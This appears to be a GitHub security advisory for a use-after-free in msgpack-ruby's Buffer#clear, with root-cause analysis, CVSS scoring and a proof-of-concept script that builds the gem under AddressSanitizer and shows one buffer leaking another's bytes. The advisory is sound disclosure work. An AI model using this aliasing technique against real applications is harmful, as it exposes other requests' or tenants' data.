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MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low severity GitHub Reviewed Published Jun 9, 2026 in msgpack/msgpack-ruby • Updated Jul 30, 2026

Package

bundler msgpack (RubyGems)

Affected versions

<= 1.8.1

Patched versions

1.8.2

Description

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

  • msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
  • Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
  • A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
  • Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

References

@byroot byroot published to msgpack/msgpack-ruby Jun 9, 2026
Published to the GitHub Advisory Database Jul 30, 2026
Reviewed Jul 30, 2026
Last updated Jul 30, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Use After Free

The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory belongs to the code that operates on the new pointer. Learn more on MITRE.

CVE ID

CVE-2026-54522

GHSA ID

GHSA-4mrv-5p47-p938

Source code

Credits

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